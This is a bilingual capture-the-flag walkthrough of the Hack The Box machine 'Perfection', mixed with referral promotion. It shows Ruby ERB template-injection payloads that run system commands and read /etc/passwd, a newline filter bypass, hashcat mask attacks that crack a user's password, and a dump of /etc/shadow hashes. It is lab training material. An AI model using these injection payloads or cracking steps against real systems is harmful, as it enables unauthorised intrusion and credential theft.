Recommand : Let’s Sign Up HTB Academy to get Higher level of knowledge :P
非常推薦 : 想要變强嗎？ 快來加入 HTB Academy 獲得更高級的知識吧 :P
Perfection 0x1 Nmap 1 2 3 4 5 6 7 8 9 10 22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 80:e4:79:e8:59:28:df :95:2d:ad:57:4a:46:04:ea:70 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMz41H9QQUPCXN7lJsU+fbjZ/vR4Ho/eacq8LnS89xLx4vsJvjUJCcZgMYAmhHLXIGKnVv16ipqPaDom5cK9tig= | 256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBqNwnyqGqYHNSIjQnv7hRU0UC9Q4oB4g9Pfzuj2qcG4 80/tcp open http syn-ack ttl 63 nginx | http-methods: |_ Supported Methods: GET HEAD |_http-title: Weighted Grade Calculator
0x2 web服務器探測 dir掃了一下，什麽都沒有，不過看到了這個： http://10.129.223.72/weighted-grade-calc 可以輸入的地方
隨便打后看到圖片裂開了，看到有後端服務器監聽了3000的端口，也就是sinatra，是個ruby的服務器。
SINATRA Sinatra is a DSL for quickly creating web applications in Ruby with minimal effort:
https://sinatrarb.com/
前端是 WEBrick 和 nginx
0x3 80 - web
然後用burp抓包一下看看，看到有回顯aaa，隨手去payload all the things找一個ruby的payload試試看：
Ruby - Code execution Execute code using SSTI for ERB engine.
1 2 3 4 5 <%= system('cat /etc/passwd' ) %> <%= `ls /` %> <%= IO .popen('ls /' ).readlines() %> <% require 'open3' %><% @a ,@b ,@c ,@d =Open3 .popen3('whoami' ) %><%= @b .readline()%> <% require 'open4' %><% @a ,@b ,@c ,@d =Open4 .popen4('whoami' ) %><%= @c .readline()%>
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#ruby---code-execution
payload如下：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /weighted-grade-calc HTTP/1.1 Host: 10.129.223.72 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 193 Origin: http://10.129.223.72 Connection: close Referer: http://10.129.223.72/weighted-grade-calc Upgrade-Insecure-Requests: 1 category1=aaa<%25%3d+`ls+/`+%25>&grade1=11&weight1=20&category2=bbb&grade2=11&weight2=20&category3=ccc&grade3=11&weight3=20&category4=ddd&grade4=11&weight4=20&category5=eee&grade5=11&weight5=20
返回 Malicious input blocked ，也就是存在簡單的waf，嘗試使用 %0a 和 %0d 繞過看看，
這裏就有RCE可以執行了，所以可以在這裏拿一個webshell。
0x4 shell in the box - user.txt 裏面有一個 main.rb 打開看看可以看到
1 2 3 4 5 6 7 8 9 10 11 12 13 post '/weighted-grade-calc' do total_weight = params[:weight1 ].to_i + params[:weight2 ].to_i + params[:weight3 ].to_i + params[:weight4 ].to_i + params[:weight5 ].to_i if total_weight != 100 @result = "Please reenter! Weights do not add up to 100." erb :'weighted_grade_results' elsif params[:category1 ] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category2 ] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category3 ] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category4 ] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category5 ] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:grade1 ] =~ /^(?:100|\d{1,2})$/ && params[:grade2 ] =~ /^(?:100|\d{1,2})$/ && params[:grade3 ] =~ /^(?:100|\d{1,2})$/ && params[:grade4 ] =~ /^(?:100|\d{1,2})$/ && params[:grade5 ] =~ /^(?:100|\d{1,2})$/ && params[:weight1 ] =~ /^(?:100|\d{1,2})$/ && params[:weight2 ] =~ /^(?:100|\d{1,2})$/ && params[:weight3 ] =~ /^(?:100|\d{1,2})$/ && params[:weight4 ] =~ /^(?:100|\d{1,2})$/ && params[:weight5 ] =~ /^(?:100|\d{1,2})$/ @result = ERB .new("Your total grade is <%= ((params[:grade1].to_i * params[:weight1].to_i) + (params[:grade2].to_i * params[:weight2].to_i) + (params[:grade3].to_i * params[:weight3].to_i) + (params[:grade4].to_i * params[:weight4].to_i) + (params[:grade5].to_i * params[:weight5].to_i)) / 100 %>\%<p>" + params[:category1 ] + ": <%= (params[:grade1].to_i * params[:weight1].to_i) / 100 %>\%</p><p>" + params[:category2 ] + ": <%= (params[:grade2].to_i * params[:weight2].to_i) / 100 %>\%</p><p>" + params[:category3 ] + ": <%= (params[:grade3].to_i * params[:weight3].to_i) / 100 %>\%</p><p>" + params[:category4 ] + ": <%= (params[:grade4].to_i * params[:weight4].to_i) / 100 %>\%</p><p>" + params[:category5 ] + ": <%= (params[:grade5].to_i * params[:weight5].to_i) / 100 %>\%</p>" ).result(binding) erb :'weighted_grade_results' else @result = "Malicious input blocked" erb :'weighted_grade_results' end end
0x5 root 1 2 susan@perfection:~/.ssh$ id uid=1001(susan) gid=1001(susan) groups =1001(susan),27(sudo)
看到了居然有 sudo 組，也就説只要知道了 susan 的密碼就可以拿到root權限。
1 2 3 ???????????? Mails (limit 50) 39937 4 -rw-r----- 1 root susan 625 May 14 2023 /var/mail/susan 39937 4 -rw-r----- 1 root susan 625 May 14 2023 /var/spool/mail/susan
走了 linpeas看到 mail 有文本大小，所以打開看看
1 2 3 4 5 6 7 8 9 10 11 12 susan@perfection:~$ cat /var/mail/susan Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000} Note that all letters of the first name should be convered into lowercase. Please hit me with updates on the migration when you can. I am currently registering our university with the platform. - Tina, your delightful student
然後就是數據庫文件：
1 2 3 ???????????? Searching *password* or *credential* files in home (limit 70) /etc/pam.d/common-password /home/susan/Migration/pupilpath_credentials.db
把 /home/susan/Migration/pupilpath_credentials.db 下載到本地，打開得到hash
得到 hash 是 abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f，隨手nth一下：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 $ nth -t 'abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f' _ _ _____ _ _ _ _ _ | \ | | |_ _| | | | | | | | | | | \| | __ _ _ __ ___ ___ ______| | | |__ __ _| |_ ______| |_| | __ _ ___| |__ | . ` |/ _` | '_ ` _ \ / _ \______| | | ' _ \ / _` | __|______| _ |/ _` / __| '_ \ | |\ | (_| | | | | | | __/ | | | | | | (_| | |_ | | | | (_| \__ \ | | | \_| \_/\__,_|_| |_| |_|\___| \_/ |_| |_|\__,_|\__| \_| |_/\__,_|___/_| |_| https://twitter.com/bee_sec_san https://github.com/HashPals/Name-That-Hash abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f Most Likely SHA-256, HC: 1400 JtR: raw-sha256 Summary: 256-bit key and is a good partner-function for AES. Can be used in Shadow files. Keccak-256, HC: 17800 Haval-128, JtR: haval-128-4 Snefru-256, JtR: snefru-256 Least Likely RIPEMD-256, JtR: dynamic_140 Haval-256 (3 rounds), JtR: dynamic_140 Haval-256 (4 rounds), JtR: dynamic_290 Haval-256 (5 rounds), JtR: dynamic_300 GOST R 34.11-94, HC: 6900 JtR: gost GOST CryptoPro S-Box, Blake2b-256, SHA3-256, HC: 17400 JtR: dynamic_380 PANAMA, JtR: dynamic_320 BLAKE2-256, BLAKE2-384, Skein-256, JtR: skein-256 Skein-512(256), Ventrilo, sha256($pass.$salt), HC: 1410 JtR: dynamic_62 sha256($salt.$pass), HC: 1420 JtR: dynamic_61 sha256(sha256($pass)), HC: 1420 JtR: dynamic_63 sha256(sha256_raw($pass))), HC: 1420 JtR: dynamic_64 sha256(sha256($pass).$salt), HC: 1420 JtR: dynamic_65 sha256($salt.sha256($pass)), HC: 1420 JtR: dynamic_66 sha256(sha256($salt).sha256($pass)), HC: 1420 JtR: dynamic_67 sha256(sha256($pass).sha256($pass)), HC: 1420 JtR: dynamic_68 sha256(unicode($pass).$salt), HC: 1430 sha256($salt.unicode($pass)), HC: 1440 HMAC-SHA256 (key = $pass), HC: 1450 JtR: hmac-sha256 HMAC-SHA256 (key = $salt), HC: 1460 JtR: hmac-sha256 Cisco Type 7, BigCrypt, JtR: bigcrypt
是sha256的密碼，然後根據email的提示爆破密碼：
1 2 {firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000} Note that all letters of the first name should be convered into lowercase.
類似：
因爲懶得做字典，可以用hashcat的 Hybrid Attack 模式，然後一個字一個字加上去：
1 2 3 4 5 6 7 8 9 10 $ hashcat.exe -a 3 -m 1400 abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f susan_nasus_?d $ hashcat.exe -a 3 -m 1400 abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f susan_nasus_?d?d $ hashcat.exe -a 3 -m 1400 abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f susan_nasus_?d?d?d $ hashcat.exe -a 3 -m 1400 abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f susan_nasus_?d?d?d?d $ hashcat.exe -a 3 -m 1400 abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f susan_nasus_?d?d?d?d?d $ hashcat.exe -a 3 -m 1400 abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f susan_nasus_?d?d?d?d?d?d $ hashcat.exe -a 3 -m 1400 abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f susan_nasus_?d?d?d?d?d?d?d $ hashcat.exe -a 3 -m 1400 abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f susan_nasus_?d?d?d?d?d?d?d?d $ hashcat.exe -a 3 -m 1400 abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f susan_nasus_?d?d?d?d?d?d?d?d?d $ hashcat.exe -a 3 -m 1400 abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f susan_nasus_?d?d?d?d?d?d?d?d?d?d
出現： abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210
Hashes 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 root@perfection:/home/susan root:$y$j9T$71hm .H7E.Jek01MNCWa.d0$FoTA1 /EWWEDDDeMklpfTV9CmxBPoan8E0s3krRMPj2/:19490:0:99999:7::: daemon:*:19405:0:99999:7::: bin:*:19405:0:99999:7::: sys:*:19405:0:99999:7::: sync :*:19405:0:99999:7:::games:*:19405:0:99999:7::: man:*:19405:0:99999:7::: lp:*:19405:0:99999:7::: mail:*:19405:0:99999:7::: news:*:19405:0:99999:7::: uucp:*:19405:0:99999:7::: proxy:*:19405:0:99999:7::: www-data:*:19405:0:99999:7::: backup:*:19405:0:99999:7::: list:*:19405:0:99999:7::: irc:*:19405:0:99999:7::: gnats:*:19405:0:99999:7::: nobody:*:19405:0:99999:7::: _apt:*:19405:0:99999:7::: systemd-network:*:19405:0:99999:7::: systemd-resolve:*:19405:0:99999:7::: messagebus:*:19405:0:99999:7::: systemd-timesync:*:19405:0:99999:7::: pollinate:*:19405:0:99999:7::: sshd:*:19405:0:99999:7::: syslog:*:19405:0:99999:7::: uuidd:*:19405:0:99999:7::: tcpdump:*:19405:0:99999:7::: tss:*:19405:0:99999:7::: landscape:*:19405:0:99999:7::: fwupd-refresh:*:19405:0:99999:7::: usbmux:*:19415:0:99999:7::: lxd:!:19415:::::: susan:$y$j9T$lDiE .68crplrSJzmhskuH0$KC /O4ZHNz2p8OfWz1bfk9rxwhTkGdViBHgSo.2s1Ci5:19490:0:99999:7::: _laurel:!:19657::::::
Thanks Recommand : If you really like my writeups, please use this link to sign up for an HTB Academy account to show my appreciation.
非常推薦 : 如果你真的喜歡我寫的writeup，請使用這個鏈接注冊一個 HTB Academy 賬號，以表達我的感謝。
如果你是新手，使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程，這對初學者來説是很友好的。 （建議先完成 INTRODUCTION TO ACADEMY）
If you are a beginner, join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)
